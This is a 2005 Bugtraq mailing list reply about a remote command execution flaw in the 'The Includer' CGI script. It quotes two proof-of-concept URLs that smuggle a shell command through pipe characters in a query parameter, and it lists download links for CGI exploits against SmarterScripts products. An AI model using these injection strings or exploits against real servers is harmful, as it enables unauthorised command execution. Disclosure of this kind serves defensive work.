Bugtraq mailing list archives

Re: Remote Command Execution


From: BoI base <postbase () mail ru>
Date: Tue, 8 Mar 2005 08:46:37 +0300

FA> Remote Command Execution
FA> Script: The Includer ( www.smarterscripts.com/includer/ )
FA> Remote Command Execution on:
FA> Example I.: www.host-vulnerable.com/includer.cgi?|id|
FA> Example II.: www.host-vulnerable.com/includer.cgi?template=|id|

cgi-"exploits" for SmarterScripts Stuff:
(placed on http://www.boiteam.net/?x=downloads)
inc10fg.cgi http://www.boiteam.net/?download=file&id=5
inc11pb.cgi http://www.boiteam.net/?download=file&id=6
inc11fg.cgi http://www.boiteam.net/?download=file&id=7
exec10fi.cgi http://www.boiteam.net/?download=file&id=8


-- 
Best regards, Xanders  mailto:postbase () mail ru


Current thread: